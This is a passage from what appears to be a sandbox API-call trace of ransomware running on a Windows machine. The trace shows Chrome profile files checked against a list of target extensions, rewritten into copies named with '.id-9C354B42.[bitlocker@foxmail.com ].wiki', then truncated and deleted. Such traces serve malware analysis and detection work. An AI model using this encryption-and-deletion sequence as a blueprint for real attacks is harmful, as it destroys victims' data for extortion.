Data\\Default\\Origin Bound Certs") returned 94 [0178.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.923] lstrlenW (lpString=".doc") returned 4 [0178.923] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0178.923] lstrlenW (lpString=".docx") returned 5 [0178.923] lstrcmpiW (lpString1=".docx", lpString2="Certs") returned -1 [0178.923] lstrlenW (lpString=".pdf") returned 4 [0178.923] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0178.923] lstrlenW (lpString=".xls") returned 4 [0178.923] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0178.923] lstrlenW (lpString=".xlsx") returned 5 [0178.923] lstrcmpiW (lpString1=".xlsx", lpString2="Certs") returned -1 [0178.923] lstrlenW (lpString=".ppt") returned 4 [0178.923] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0178.923] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.923] lstrlenW (lpString=".zip") returned 4 [0178.923] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0178.923] lstrlenW (lpString=".rar") returned 4 [0178.923] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0178.923] lstrlenW (lpString=".bz2") returned 4 [0178.923] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0178.924] lstrlenW (lpString=".7z") returned 3 [0178.924] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0178.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.924] lstrlenW (lpString=".dbf") returned 4 [0178.924] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0178.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.924] lstrlenW (lpString=".1cd") returned 4 [0178.924] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0178.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 94 [0178.924] lstrlenW (lpString=".jpg") returned 4 [0178.924] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0178.924] lstrlenW (lpString="Visited Links") returned 13 [0178.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.924] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=131072) returned 1 [0178.925] CloseHandle (hObject=0x160) returned 1 [0178.925] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links")) returned 0x2020 [0178.925] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.925] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.925] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0178.925] GetLastError () returned 0x0 [0178.925] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x20000, lpOverlapped=0x0) returned 1 [0178.929] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x20010, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x20010, lpOverlapped=0x0) returned 1 [0178.933] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.933] WriteFile (in: hFile=0x158, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.933] SetEndOfFile (hFile=0x158) returned 1 [0178.934] CloseHandle (hObject=0x158) returned 1 [0178.934] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.934] SetEndOfFile (hFile=0x160) returned 1 [0178.935] CloseHandle (hObject=0x160) returned 1 [0178.935] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.936] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\visited links")) returned 1 [0178.936] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.936] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.936] lstrlenW (lpString=".doc") returned 4 [0178.936] lstrcmpiW (lpString1=".doc", lpString2="inks") returned -1 [0178.936] lstrlenW (lpString=".docx") returned 5 [0178.936] lstrcmpiW (lpString1=".docx", lpString2="Links") returned -1 [0178.936] lstrlenW (lpString=".pdf") returned 4 [0178.936] lstrcmpiW (lpString1=".pdf", lpString2="inks") returned -1 [0178.936] lstrlenW (lpString=".xls") returned 4 [0178.936] lstrcmpiW (lpString1=".xls", lpString2="inks") returned -1 [0178.936] lstrlenW (lpString=".xlsx") returned 5 [0178.936] lstrcmpiW (lpString1=".xlsx", lpString2="Links") returned -1 [0178.936] lstrlenW (lpString=".ppt") returned 4 [0178.936] lstrcmpiW (lpString1=".ppt", lpString2="inks") returned -1 [0178.936] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.936] lstrlenW (lpString=".zip") returned 4 [0178.936] lstrcmpiW (lpString1=".zip", lpString2="inks") returned -1 [0178.936] lstrlenW (lpString=".rar") returned 4 [0178.936] lstrcmpiW (lpString1=".rar", lpString2="inks") returned -1 [0178.936] lstrlenW (lpString=".bz2") returned 4 [0178.936] lstrcmpiW (lpString1=".bz2", lpString2="inks") returned -1 [0178.936] lstrlenW (lpString=".7z") returned 3 [0178.936] lstrcmpiW (lpString1=".7z", lpString2="nks") returned -1 [0178.937] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.937] lstrlenW (lpString=".dbf") returned 4 [0178.937] lstrcmpiW (lpString1=".dbf", lpString2="inks") returned -1 [0178.937] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.937] lstrlenW (lpString=".1cd") returned 4 [0178.937] lstrcmpiW (lpString1=".1cd", lpString2="inks") returned -1 [0178.937] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.937] lstrlenW (lpString=".jpg") returned 4 [0178.937] lstrcmpiW (lpString1=".jpg", lpString2="inks") returned -1 [0178.937] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.937] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.937] lstrlenW (lpString=".doc") returned 4 [0178.937] lstrcmpiW (lpString1=".doc", lpString2="inks") returned -1 [0178.937] lstrlenW (lpString=".docx") returned 5 [0178.937] lstrcmpiW (lpString1=".docx", lpString2="Links") returned -1 [0178.937] lstrlenW (lpString=".pdf") returned 4 [0178.937] lstrcmpiW (lpString1=".pdf", lpString2="inks") returned -1 [0178.937] lstrlenW (lpString=".xls") returned 4 [0178.937] lstrcmpiW (lpString1=".xls", lpString2="inks") returned -1 [0178.937] lstrlenW (lpString=".xlsx") returned 5 [0178.937] lstrcmpiW (lpString1=".xlsx", lpString2="Links") returned -1 [0178.937] lstrlenW (lpString=".ppt") returned 4 [0178.937] lstrcmpiW (lpString1=".ppt", lpString2="inks") returned -1 [0178.937] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.937] lstrlenW (lpString=".zip") returned 4 [0178.937] lstrcmpiW (lpString1=".zip", lpString2="inks") returned -1 [0178.937] lstrlenW (lpString=".rar") returned 4 [0178.937] lstrcmpiW (lpString1=".rar", lpString2="inks") returned -1 [0178.937] lstrlenW (lpString=".bz2") returned 4 [0178.937] lstrcmpiW (lpString1=".bz2", lpString2="inks") returned -1 [0178.938] lstrlenW (lpString=".7z") returned 3 [0178.938] lstrcmpiW (lpString1=".7z", lpString2="nks") returned -1 [0178.938] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.938] lstrlenW (lpString=".dbf") returned 4 [0178.938] lstrcmpiW (lpString1=".dbf", lpString2="inks") returned -1 [0178.938] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.938] lstrlenW (lpString=".1cd") returned 4 [0178.938] lstrcmpiW (lpString1=".1cd", lpString2="inks") returned -1 [0178.938] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 89 [0178.938] lstrlenW (lpString=".jpg") returned 4 [0178.938] lstrcmpiW (lpString1=".jpg", lpString2="inks") returned -1 [0178.938] lstrcmpiW (lpString1=".ico", lpString2=".wiki") returned -1 [0178.938] lstrlenW (lpString="Google Docs.ico") returned 15 [0178.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.939] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=167414) returned 1 [0178.939] CloseHandle (hObject=0x160) returned 1 [0178.939] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico")) returned 0x2020 [0178.939] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.939] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.939] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.944] GetLastError () returned 0x0 [0178.944] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x28df6, lpOverlapped=0x0) returned 1 [0178.949] WriteFile (in: hFile=0x19c, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x28e00, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x28e00, lpOverlapped=0x0) returned 1 [0178.952] ReadFile (in: hFile=0x160, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.952] WriteFile (in: hFile=0x19c, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0178.952] SetEndOfFile (hFile=0x19c) returned 1 [0178.953] CloseHandle (hObject=0x19c) returned 1 [0178.953] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.953] SetEndOfFile (hFile=0x160) returned 1 [0178.954] CloseHandle (hObject=0x160) returned 1 [0178.954] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.166] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico")) returned 1 [0179.588] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.589] lstrlenW (lpString=".doc") returned 4 [0179.589] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0179.589] lstrlenW (lpString=".docx") returned 5 [0179.589] lstrcmpiW (lpString1=".docx", lpString2="s.ico") returned -1 [0179.589] lstrlenW (lpString=".pdf") returned 4 [0179.589] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0179.589] lstrlenW (lpString=".xls") returned 4 [0179.589] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0179.589] lstrlenW (lpString=".xlsx") returned 5 [0179.589] lstrcmpiW (lpString1=".xlsx", lpString2="s.ico") returned -1 [0179.589] lstrlenW (lpString=".ppt") returned 4 [0179.589] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0179.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.589] lstrlenW (lpString=".zip") returned 4 [0179.589] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0179.589] lstrlenW (lpString=".rar") returned 4 [0179.589] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0179.589] lstrlenW (lpString=".bz2") returned 4 [0179.589] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0179.589] lstrlenW (lpString=".7z") returned 3 [0179.589] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0179.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.589] lstrlenW (lpString=".dbf") returned 4 [0179.589] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0179.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.589] lstrlenW (lpString=".1cd") returned 4 [0179.589] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0179.589] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.589] lstrlenW (lpString=".jpg") returned 4 [0179.589] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0179.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.590] lstrlenW (lpString=".doc") returned 4 [0179.590] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0179.590] lstrlenW (lpString=".docx") returned 5 [0179.590] lstrcmpiW (lpString1=".docx", lpString2="s.ico") returned -1 [0179.590] lstrlenW (lpString=".pdf") returned 4 [0179.590] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0179.590] lstrlenW (lpString=".xls") returned 4 [0179.590] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0179.590] lstrlenW (lpString=".xlsx") returned 5 [0179.590] lstrcmpiW (lpString1=".xlsx", lpString2="s.ico") returned -1 [0179.590] lstrlenW (lpString=".ppt") returned 4 [0179.590] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0179.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.590] lstrlenW (lpString=".zip") returned 4 [0179.590] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0179.590] lstrlenW (lpString=".rar") returned 4 [0179.590] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0179.590] lstrlenW (lpString=".bz2") returned 4 [0179.590] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0179.590] lstrlenW (lpString=".7z") returned 3 [0179.590] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0179.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.590] lstrlenW (lpString=".dbf") returned 4 [0179.590] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0179.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.590] lstrlenW (lpString=".1cd") returned 4 [0179.590] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0179.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 146 [0179.590] lstrlenW (lpString=".jpg") returned 4 [0179.590] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0179.591] lstrlenW (lpString="Safe Browsing Channel IDs") returned 25 [0179.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.591] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=5120) returned 1 [0179.591] CloseHandle (hObject=0x198) returned 1 [0179.591] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids")) returned 0x2020 [0179.591] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.591] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.592] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.592] GetLastError () returned 0x0 [0179.592] ReadFile (in: hFile=0x198, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x1400, lpOverlapped=0x0) returned 1 [0179.636] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0179.637] ReadFile (in: hFile=0x198, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.637] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x106, lpOverlapped=0x0) returned 1 [0179.637] SetEndOfFile (hFile=0x1a4) returned 1 [0179.637] CloseHandle (hObject=0x1a4) returned 1 [0179.637] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.637] SetEndOfFile (hFile=0x198) returned 1 [0179.638] CloseHandle (hObject=0x198) returned 1 [0179.638] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs.id-9C354B42.[bitlocker@foxmail.com 